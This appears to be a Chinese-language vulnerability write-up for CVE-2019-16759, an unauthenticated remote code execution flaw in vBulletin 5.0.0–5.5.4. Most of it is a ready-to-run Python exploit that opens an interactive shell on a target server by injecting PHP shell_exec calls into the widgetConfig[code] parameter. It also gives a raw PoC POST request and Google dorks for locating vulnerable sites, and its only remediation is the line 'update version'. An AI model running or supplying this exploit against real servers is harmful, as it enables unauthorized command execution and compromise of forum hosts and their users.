Skip to content

Latest commit

 

History

History
76 lines (50 loc) · 1.94 KB

vbulletin 远程代码执行 (CVE-2019-16759).md

File metadata and controls

76 lines (50 loc) · 1.94 KB

vbulletin 远程代码执行 (CVE-2019-16759)

描述: vBulletin 是一款强大,灵活并可完全根据自己的需要定制的论坛程序套件。尽管是商业产品,但从市场份额和实际使用量上看,vBulletin还是当今最受欢迎的Web论坛软件包。 该漏洞允许攻击者在不拥有目标论坛账户的情况下,在运行vBulletin的服务器上执行Shell命令,是一个无需身份验证的远程代码执行漏洞。

漏洞详情:

漏洞通过请求ajax/render/widget_php进行模板注入触发代码执行。

image-20211027191050705

漏洞范围

5.0.0 <= vBulletin <=5.5.4

poc 直接hackerbarpost

请求
http://url/index.php?routestring=ajax/render/widget_php
post
widgetConfig[code] = echo shell_exec('ls'); exit;

image-20211027191408365

exp/poc:

#!/usr/bin/python
#
# vBulletin 5.x 0day pre-auth RCE exploit
# 
# This should work on all versions from 5.0.0 till 5.5.4
#
# Google Dorks:
# - site:*.vbulletin.net
# - "Powered by vBulletin Version 5.5.4"

import requests
import sys

if len(sys.argv) != 2:
    sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])

params = {"routestring":"ajax/render/widget_php"}

while True:
     try:
          cmd = raw_input("vBulletin$ ")
          params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"
          r = requests.post(url = sys.argv[1], data = params)
          if r.status_code == 200:
               print r.text
          else:
               sys.exit("Exploit failed! :(")
     except KeyboardInterrupt:
          sys.exit("\nClosing shell...")
     except Exception, e:
          sys.exit(str(e))

py 1.py http://xxx

修复: 更新版本